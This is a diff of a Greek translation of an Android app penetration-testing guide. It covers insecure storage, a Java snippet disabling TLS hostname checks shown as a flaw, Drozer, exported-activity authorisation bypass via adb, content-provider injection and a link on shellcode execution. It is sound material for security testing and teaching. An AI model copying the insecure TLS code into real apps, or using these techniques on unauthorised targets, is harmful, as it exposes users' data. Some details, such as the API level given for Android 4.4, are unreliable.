- Τα αρχεία στο external storage είναι **ενεργά προσβάσιμα (globally readable and writable)**. Αυτό σημαίνει ότι οποιαδήποτε εφαρμογή ή χρήστης μπορεί να έχει πρόσβαση σε αυτά.
|
||||
2. **Security Concerns**:
|
||||
- Δεδομένης της ευκολίας πρόσβασης, συνιστάται **να μην αποθηκεύετε ευαίσθητες πληροφορίες** στην εξωτερική αποθήκευση.
|
||||
- Η εξωτερική αποθήκευση μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας την λιγότερο ασφαλή.
|
||||
- Δε συνιστάται να αποθηκεύετε sensitive information σε external storage λόγω της ευκολίας πρόσβασης.
|
||||
- Το external storage μπορεί να αφαιρεθεί ή να προσπελαστεί από οποιαδήποτε εφαρμογή, καθιστώντας το λιγότερο ασφαλές.
|
||||
3. **Handling Data from External Storage**:
|
||||
- Πάντα **εκτελείτε input validation** στα δεδομένα που ανακτώνται από την εξωτερική αποθήκευση. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μια μη έμπιστη πηγή.
|
||||
- Η αποθήκευση εκτελέσιμων ή class files στην εξωτερική αποθήκευση για dynamic loading αποθαρρύνεται έντονα.
|
||||
- Αν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **signed και cryptographically verified** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας.
|
||||
- Πάντα **εκτελέστε input validation** στα δεδομένα που ανακτάτε από external storage. Αυτό είναι κρίσιμο επειδή τα δεδομένα προέρχονται από μια μη αξιόπιστη πηγή.
|
||||
- Η αποθήκευση εκτελέσιμων ή class files στο external storage για dynamic loading αποθαρρύνεται έντονα.
|
||||
- Εάν η εφαρμογή σας πρέπει οπωσδήποτε να ανακτά εκτελέσιμα αρχεία από external storage, βεβαιωθείτε ότι αυτά τα αρχεία είναι **signed και cryptographically verified** πριν φορτωθούν δυναμικά. Αυτό είναι ζωτικό για τη διατήρηση της ακεραιότητας ασφαλείας της εφαρμογής σας.
|
||||
|
||||
External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
External storage μπορεί να **προσπελαστεί** σε `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η SD κάρτα έχει μια δομή καταλόγων που περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που προορίζεται ειδικά για αυτήν την εφαρμογή. Αυτό αποτρέπει κακόβουλες εφαρμογές από το να αποκτήσουν πρόσβαση ανάγνωσης ή εγγραφής στα αρχεία άλλης εφαρμογής.
|
||||
> Από το Android 4.4 (**API 17**) και μετά, η SD card έχει μια δομή φακέλων που **περιορίζει την πρόσβαση μιας εφαρμογής στον κατάλογο που προορίζεται ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει μια malicious εφαρμογή από το να αποκτήσει read ή write πρόσβαση στα αρχεία άλλης εφαρμογής.
|
||||
|
||||
**Ευαίσθητα δεδομένα αποθηκευμένα σε απλό κείμενο**
|
||||
**Sensitive data stored in clear-text**
|
||||
|
||||
- **Shared preferences**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data/<packagename>/shared_prefs/` και μερικές φορές είναι πιθανό να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν τον φάκελο.
|
||||
- **Databases**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα sqlite databases στη διαδρομή `/data/data/<packagename>/databases/` και μερικές φορές είναι πιθανό να βρεθούν ευαίσθητες πληροφορίες σε clear-text σε αυτόν τον φάκελο.
|
||||
- **Shared preferences**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα xml αρχεία στη διαδρομή `/data/data/<packagename>/shared_prefs/` και κάποιες φορές είναι δυνατό να βρεθούν sensitive πληροφορίες σε clear-text σε αυτόν τον φάκελο.
|
||||
- **Databases**: Το Android επιτρέπει σε κάθε εφαρμογή να αποθηκεύει εύκολα sqlite databases στη διαδρομή `/data/data/<packagename>/databases/` και κάποιες φορές είναι δυνατό να βρεθούν sensitive πληροφορίες σε clear-text σε αυτόν τον φάκελο.
|
||||
|
||||
### Broken TLS
|
||||
|
||||
**Accept All Certificates**
|
||||
Accept All Certificates
|
||||
|
||||
Για κάποιο λόγο μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμα και αν, για παράδειγμα, το hostname δεν ταιριάζει, με γραμμές κώδικα όπως η ακόλουθη:
|
||||
Για κάποιο λόγο, μερικές φορές οι developers αποδέχονται όλα τα certificates ακόμα και αν, για παράδειγμα, το hostname δεν ταιριάζει, με γραμμές κώδικα όπως η ακόλουθη:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Ένας καλός τρόπος να το δοκιμάσετε είναι να προσπαθήσετε να καταγράψετε την κίνηση χρησιμοποιώντας κάποιο proxy όπως το Burp χωρίς να πιστοποιήσετε το Burp CA μέσα στη συσκευή. Επίσης, μπορείτε με το Burp να δημιουργήσετε ένα πιστοποιητικό για διαφορετικό hostname και να το χρησιμοποιήσετε.
|
||||
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
|
||||
|
||||
### Broken Cryptography
|
||||
### Ελαττωματική Κρυπτογραφία
|
||||
|
||||
**Κακές Διαδικασίες Διαχείρισης Κλειδιών**
|
||||
**Κακή Διαχείριση Κλειδιών**
|
||||
|
||||
Κάποιοι developers αποθηκεύουν ευαίσθητα δεδομένα στο local storage και τα κρυπτογραφούν με ένα κλειδί hardcoded/προβλέψιμο μέσα στον κώδικα. Αυτό δεν θα πρέπει να γίνεται καθώς κάποια reversing μπορεί να επιτρέψει σε επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
|
||||
Κάποιοι developers αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί ενσωματωμένο/προβλέψιμο στον κώδικα. Αυτό δεν πρέπει να γίνεται καθώς κάποιο reversing μπορεί να επιτρέψει σε επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
|
||||
|
||||
**Χρήση Μη Ασφαλών και/ή Αποσυρμένων Αλγορίθμων**
|
||||
**Χρήση ανασφαλών και/ή αποσυρθέντων αλγορίθμων**
|
||||
|
||||
Οι developers δεν θα πρέπει να χρησιμοποιούν **deprecated algorithms** για να εκτελούν έλεγχους authorisation, να **αποθηκεύουν** ή να **στέλνουν** δεδομένα. Κάποιοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Εάν **hashes** χρησιμοποιούνται για να αποθηκεύονται κωδικοί για παράδειγμα, πρέπει να χρησιμοποιούνται hashes ανθεκτικοί σε brute-force με salt.
|
||||
Οι developers δεν πρέπει να χρησιμοποιούν **deprecated algorithms** για να πραγματοποιούν authorisation **checks**, να **αποθηκεύουν** ή να **στέλνουν** δεδομένα. Μερικοί από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Εάν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης για παράδειγμα, θα πρέπει να χρησιμοποιούνται hashes που είναι brute-force **resistant** με salt.
|
||||
|
||||
### Other checks
|
||||
### Άλλοι έλεγχοι
|
||||
|
||||
- Συνιστάται να **obfuscate the APK** για να δυσκολέψετε την εργασία του reverse engineer στους επιτιθέμενους.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως τραπεζικές εφαρμογές), θα πρέπει να πραγματοποιεί τα **own checks to see if the mobile is rooted** και να ενεργεί ανάλογα.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να διαπιστώσει αν έχει τροποποιηθεί.
|
||||
- Use [**APKiD**](https://github.com/rednaga/APKiD) για να ελέγξετε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για να κατασκευαστεί το APK
|
||||
- Συνιστάται να **obfuscate the APK** για να δυσκολέψετε το έργο των reverse engineers.
|
||||
- Εάν η εφαρμογή είναι ευαίσθητη (όπως bank apps), θα πρέπει να εκτελεί τους δικούς της ελέγχους για να διαπιστώσει αν το κινητό είναι rooted και να ενεργεί ανάλογα.
|
||||
- Εάν η εφαρμογή είναι ευαίσθητη (όπως bank apps), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
|
||||
- Εάν η εφαρμογή είναι ευαίσθητη (όπως bank apps), θα πρέπει να **ελέγχει την ακεραιότητά της πριν εκτελεστεί** για να διαπιστώσει αν έχει τροποποιηθεί.
|
||||
- Χρησιμοποιήστε [**APKiD**](https://github.com/rednaga/APKiD) για να ελέγξετε ποιος compiler/packer/obfuscator χρησιμοποιήθηκε για το build του APK
|
||||
|
||||
### React Native Application
|
||||
|
||||
@ -198,11 +199,11 @@ Read the following page to learn how to easily access C# code of a xamarin appli
|
||||
|
||||
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
|
||||
|
||||
### Automated Static Code Analysis
|
||||
### Αυτοματοποιημένη Στατική Ανάλυση Κώδικα
|
||||
|
||||
Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρίσκει **vulnerabilities** σαρώνοντας τον **code** της εφαρμογής. Αυτό το εργαλείο περιλαμβάνει μια σειρά **known sources** (που υποδεικνύουν στο εργαλείο τα **σημεία** όπου το **input** ελέγχεται από τον χρήστη), **sinks** (που υποδεικνύουν στο εργαλείο τα **επικίνδυνα** σημεία όπου κακόβουλο input χρήστη μπορεί να προκαλέσει ζημιά) και **rules**. Αυτοί οι κανόνες υποδεικνύουν τους **συνδυασμούς** **sources-sinks** που δηλώνουν μια ευπάθεια.
|
||||
Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να εντοπίζει **vulnerabilities** σαρώνοντας τον **κώδικα** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **known sources** (που υποδεικνύουν στο εργαλείο τα **σημεία** όπου το **input** ελέγχεται από τον χρήστη), **sinks** (που υποδεικνύουν στο εργαλείο **επικίνδυνα** **σημεία** όπου κακόβουλο input χρήστη θα μπορούσε να προκαλέσει ζημιά) και **rules**. Αυτοί οι κανόνες υποδεικνύουν τον **συνδυασμό** **sources-sinks** που σηματοδοτεί μια ευπάθεια.
|
||||
|
||||
Με αυτή τη γνώση, **mariana-trench will review the code and find possible vulnerabilities on it**.
|
||||
Με αυτή τη γνώση, **mariana-trench θα ανασκοπήσει τον κώδικα και θα βρει πιθανές ευπάθειες πάνω σε αυτόν**.
|
||||
|
||||
### Secrets leaked
|
||||
|
||||
@ -215,12 +216,17 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
|
||||
bypass-biometric-authentication-android.md
|
||||
{{#endref}}
|
||||
|
||||
### Other interesting functions
|
||||
### Άλλες ενδιαφέρουσες λειτουργίες
|
||||
|
||||
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
|
||||
- **Εκτέλεση κώδικα**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Αποστολή SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** δηλωμένες ως `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
|
||||
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
|
||||
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
### **Other tricks**
|
||||
|
||||
@ -233,47 +239,47 @@ content-protocol.md
|
||||
|
||||
---
|
||||
|
||||
## Dynamic Analysis
|
||||
## Δυναμική Ανάλυση
|
||||
|
||||
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
|
||||
> Πρώτα απ' όλα, χρειάζεστε ένα περιβάλλον όπου μπορείτε να εγκαταστήσετε την εφαρμογή και όλο το υπόλοιπο περιβάλλον (Burp CA cert, Drozer και Frida κυρίως). Επομένως, μια rooted συσκευή (εμουλαρισμένη ή όχι) συνιστάται ιδιαίτερα.
|
||||
|
||||
### Online Dynamic analysis
|
||||
|
||||
Μπορείτε να δημιουργήσετε ένα **free account** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα επιτρέπει να **upload** και να **εκτελέσετε** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
|
||||
Μπορείτε να δημιουργήσετε έναν **free account** στο: [https://appetize.io/](https://appetize.io). Αυτή η πλατφόρμα σας επιτρέπει να **upload** και να **execute** APKs, οπότε είναι χρήσιμη για να δείτε πώς συμπεριφέρεται ένα apk.
|
||||
|
||||
Μπορείτε ακόμα να **δειτε τα logs της εφαρμογής σας** στο web και να συνδεθείτε μέσω **adb**.
|
||||
Μπορείτε ακόμη να **δειτε τα logs της εφαρμογής σας** στο web και να συνδεθείτε μέσω **adb**.
|
||||
|
||||
.png>)
|
||||
|
||||
Χάρη στη σύνδεση ADB μπορείτε να χρησιμοποιήσετε **Drozer** και **Frida** μέσα στους emulator.
|
||||
Χάρη στη σύνδεση ADB μπορείτε να χρησιμοποιήσετε **Drozer** και **Frida** μέσα στους emulators.
|
||||
|
||||
### Local Dynamic Analysis
|
||||
|
||||
#### Using an emulator
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** χωρίς την ανάγκη ενός αργού arm emulator).
|
||||
- Learn to set it up in this page:
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι νεότερες x86** εκδόσεις **υποστηρίζουν ARM libraries** χωρίς να χρειάζεστε έναν αργό arm emulator).
|
||||
- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, χρειάζεται να δημιουργήσετε λογαριασμό. _Συνίσταται να **κατεβάσετε** την έκδοση **WITH**_ _**VirtualBox** για να αποφύγετε πιθανά σφάλματα._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, αλλά δεν υποστηρίζει Frida ή Drozer).
|
||||
|
||||
> [!TIP]
|
||||
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||
> Όταν δημιουργείτε ένα νέο emulator σε οποιαδήποτε πλατφόρμα θυμηθείτε ότι όσο μεγαλύτερη είναι η οθόνη τόσο πιο αργά θα τρέχει ο emulator. Έτσι επιλέξτε μικρές οθόνες αν είναι δυνατόν.
|
||||
|
||||
Για να **install google services** (όπως AppStore) σε Genymotion πρέπει να κάνετε κλικ στο κόκκινο κουμπί της παρακάτω εικόνας:
|
||||
Για να **εγκαταστήσετε google services** (όπως AppStore) στο Genymotion χρειάζεται να κάνετε κλικ στο κόκκινο κουμπί που σημειώνεται στην παρακάτω εικόνα:
|
||||
|
||||
.png>)
|
||||
|
||||
Επίσης, να σημειωθεί ότι στην **configuration of the Android VM in Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδέεστε στο Android VM από ένα διαφορετικό VM με τα εργαλεία).
|
||||
Επίσης, σημειώστε ότι στις **ρυθμίσεις του Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν συνδεθείτε στο Android VM από διαφορετικό VM με τα εργαλεία).
|
||||
|
||||
#### Use a physical device
|
||||
|
||||
Πρέπει να ενεργοποιήσετε τις **debugging** επιλογές και είναι καλό αν μπορείτε να την **root**:
|
||||
Πρέπει να ενεργοποιήσετε τις επιλογές **debugging** και είναι καλό αν μπορείτε να την **root**:
|
||||
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
@ -281,8 +287,8 @@ avd-android-virtual-device.md
|
||||
4. Press **Build number** 7 times.
|
||||
5. Go back and you will find the **Developer options**.
|
||||
|
||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
||||
> Μόλις έχετε εγκαταστήσει την εφαρμογή, το πρώτο που πρέπει να κάνετε είναι να τη δοκιμάσετε και να διερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
|
||||
> Προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF dynamic analysis + pidcat**, ώστε να μπορέσουμε να **κατανοήσουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **συλλέγει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναλύσετε αργότερα.
|
||||
|
||||
Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
|
||||
@ -292,56 +298,56 @@ Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
|
||||
|
||||
|
||||
### Unintended Data Leakage
|
||||
### Ακούσια Διαρροή Δεδομένων
|
||||
|
||||
**Logging**
|
||||
|
||||
Οι developers πρέπει να είναι προσεκτικοί ώστε να μην εκθέτουν **debugging information** δημόσια, καθώς αυτό μπορεί να οδηγήσει σε διαρροή ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` προτείνονται για την παρακολούθηση των application logs ώστε να εντοπιστεί και να προστατευτεί ευαίσθητη πληροφορία. **Pidcat** προτιμάται για την ευκολία χρήσης και την αναγνωσιμότητά του.
|
||||
Οι developers θα πρέπει να είναι προσεκτικοί στο να μην εκθέτουν **debugging information** δημόσια, καθώς αυτό μπορεί να οδηγήσει σε ευαίσθητες πληροφορίες leak. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής προκειμένου να εντοπιστούν και να προστατευτούν ευαίσθητες πληροφορίες. Το **Pidcat** προτιμάται για την ευκολία χρήσης και την αναγνωσιμότητά του.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
|
||||
> Anyway, it's still recommended to **not log sensitive information**.
|
||||
> Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
|
||||
> Παρόλα αυτά, εξακολουθεί να συνιστάται να **μην καταγράφετε ευαίσθητες πληροφορίες**.
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
Το framework του Android που βασίζεται στο **clipboard** επιτρέπει λειτουργίες αντιγραφής/επικόλλησης στις εφαρμογές, ωστόσο εγκυμονεί κινδύνους καθώς **άλλες εφαρμογές** μπορούν να **έχουν πρόσβαση** στο clipboard, ενδεχομένως εκθέτοντας ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιούνται οι λειτουργίες copy/paste** για ευαίσθητες περιοχές της εφαρμογής, όπως στοιχεία πιστωτικών καρτών, για να αποτραπεί η διαρροή δεδομένων.
|
||||
Το **clipboard-based** framework του Android επιτρέπει τη λειτουργία copy-paste στις εφαρμογές, αλλά αποτελεί ρίσκο καθώς **άλλες εφαρμογές** μπορούν να έχουν **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιείτε τις λειτουργίες copy/paste** για ευαίσθητες ενότητες της εφαρμογής, όπως στοιχεία πιστωτικής κάρτας, για να αποφευχθεί η leak δεδομένων.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Αν μια εφαρμογή **crashes** και **αποθηκεύει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ειδικά όταν η εφαρμογή δεν μπορεί να γίνει reverse-engineered. Για να μειώσετε αυτόν τον κίνδυνο, αποφύγετε το logging σε crashes, και αν τα logs πρέπει να μεταβιβαστούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω SSL καναλιού για ασφάλεια.
|
||||
Εάν μια εφαρμογή **crashes** και **αποθηκεύει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αντιστραφεί. Για να μετριαστεί αυτός ο κίνδυνος, αποφύγετε την καταγραφή στα crashes, και αν τα logs πρέπει να μεταδίδονται μέσω δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω SSL καναλιού για ασφάλεια.
|
||||
|
||||
Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορούν ακούσια να **leak sensitive data** λόγω λανθασμένης υλοποίησης από τους developers. Για να εντοπίσετε πιθανές διαρροές, συνίσταται να **intercept** την κίνηση της εφαρμογής και να ελέγξετε αν ευαίσθητες πληροφορίες αποστέλλονται σε τρίτους.
|
||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως Google Adsense, οι οποίες μπορούν άθελά τους να leak ευαίσθητα δεδομένα λόγω λανθασμένης υλοποίησης από τους developers. Για να εντοπίσετε πιθανές leak, είναι σκόπιμο να **διακόψετε την κυκλοφορία της εφαρμογής** και να ελέγξετε αν αποστέλλονται ευαίσθητες πληροφορίες σε third-party υπηρεσίες.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
Οι περισσότερες εφαρμογές θα χρησιμοποιήσουν **internal SQLite databases** για να αποθηκεύουν πληροφορίες. Κατά τη διάρκεια του pentest, κοιτάξτε τις **databases** που δημιουργούνται, τα ονόματα των **tables** και **columns** και όλα τα **δεδομένα** που αποθηκεύονται γιατί μπορεί να βρείτε **ευαίσθητες πληροφορίες** (που θα συνιστούσαν ευπάθεια).\
|
||||
Οι βάσεις δεδομένων θα πρέπει να βρίσκονται στο `/data/data/the.package.name/databases` όπως στο `/data/data/com.mwr.example.sieve/databases`
|
||||
Οι περισσότερες εφαρμογές θα χρησιμοποιήσουν **internal SQLite databases** για να αποθηκεύσουν πληροφορίες. Κατά τη διάρκεια του pentest ρίξτε μια **ματιά** στις **βάσεις δεδομένων** που έχουν δημιουργηθεί, τα ονόματα των **πινάκων** και **στηλών** και όλα τα **δεδομένα** που έχουν αποθηκευτεί γιατί μπορεί να βρείτε **ευαίσθητες πληροφορίες** (που θα αποτελούσαν ευπάθεια).\
|
||||
Οι βάσεις δεδομένων θα πρέπει να βρίσκονται σε `/data/data/the.package.name/databases` όπως `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Αν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **encrypted** αλλά μπορείτε να **βρείτε** το **password** μέσα στην εφαρμογή, αυτό εξακολουθεί να αποτελεί **ευπάθεια**.
|
||||
Εάν η βάση δεδομένων αποθηκεύει εμπιστευτικές πληροφορίες και είναι **encrypted** αλλά μπορείτε να **βρείτε** το **password** μέσα στην εφαρμογή, είναι ακόμα **μια ευπάθεια**.
|
||||
|
||||
Αναγνωρίστε τους πίνακες χρησιμοποιώντας `.tables` και αναγνωρίστε τις στήλες των πινάκων με `.schema <table_name>`
|
||||
Αναγράψτε τους πίνακες χρησιμοποιώντας `.tables` και αναγράψτε τις στήλες των πινάκων με `.schema <table_name>`
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
||||
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
|
||||
|
||||
### Exploiting exported Activities
|
||||
### Εκμετάλλευση exported Activities
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Also remember that the code of an activity starts in the **`onCreate`** method.
|
||||
Επίσης θυμηθείτε ότι ο κώδικας μιας activity ξεκινάει στη μέθοδο **`onCreate`**.
|
||||
|
||||
**Authorisation bypass**
|
||||
**Παράκαμψη εξουσιοδότησης**
|
||||
|
||||
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
|
||||
Όταν μια Activity είναι exported μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια activity με **ευαίσθητες πληροφορίες** είναι **exported** θα μπορούσατε να **bypass** τους μηχανισμούς **authentication** για να έχετε πρόσβαση σε αυτήν.
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
You can also start an exported activity from adb:
|
||||
Μπορείτε επίσης να ξεκινήσετε μια exported activity από adb:
|
||||
|
||||
- PackageName is com.example.demo
|
||||
- Exported ActivityName is com.example.test.MainActivity
|
||||
@ -351,101 +357,101 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
**ΣΗΜΕΙΩΣΗ**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι ένα authorisation bypass δεν είναι πάντα ευπάθεια — εξαρτάται από το πώς λειτουργεί το bypass και ποιες πληροφορίες αποκαλύπτονται.
|
||||
> Σημειώστε ότι ένα authorisation bypass δεν είναι πάντα μια vulnerability — εξαρτάται από το πώς λειτουργεί το bypass και ποιες πληροφορίες εκτίθενται.
|
||||
|
||||
**Διαρροή ευαίσθητων πληροφοριών**
|
||||
**Sensitive information leakage**
|
||||
|
||||
**Activities can also return results**. Αν καταφέρετε να βρείτε μία exported και unprotected activity που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
|
||||
**Activities can also return results**. Αν καταφέρετε να βρείτε μια exported και unprotected activity που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει sensitive information leakage.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Αν το Tapjacking δεν αποτρέπεται, μπορείτε να καταχραστείτε την exported activity για να κάνετε τον **χρήστη να εκτελέσει απρόσμενες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**what is Tapjacking follow the link**](#tapjacking).
|
||||
Αν το tapjacking δεν αποτρέπεται, μπορείτε να καταχραστείτε την exported activity ώστε να κάνετε τον χρήστη να εκτελέσει απροσδόκητες ενέργειες. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking, ακολουθήστε τον σύνδεσμο**](#tapjacking).
|
||||
|
||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||
|
||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers are basically used to **share data**. Εάν μια εφαρμογή διαθέτει content providers, μπορεί να καταφέρετε να **εξάγετε ευαίσθητα** δεδομένα από αυτά. Επίσης είναι ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals**, καθώς μπορεί να είναι ευπαθείς.
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένα Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
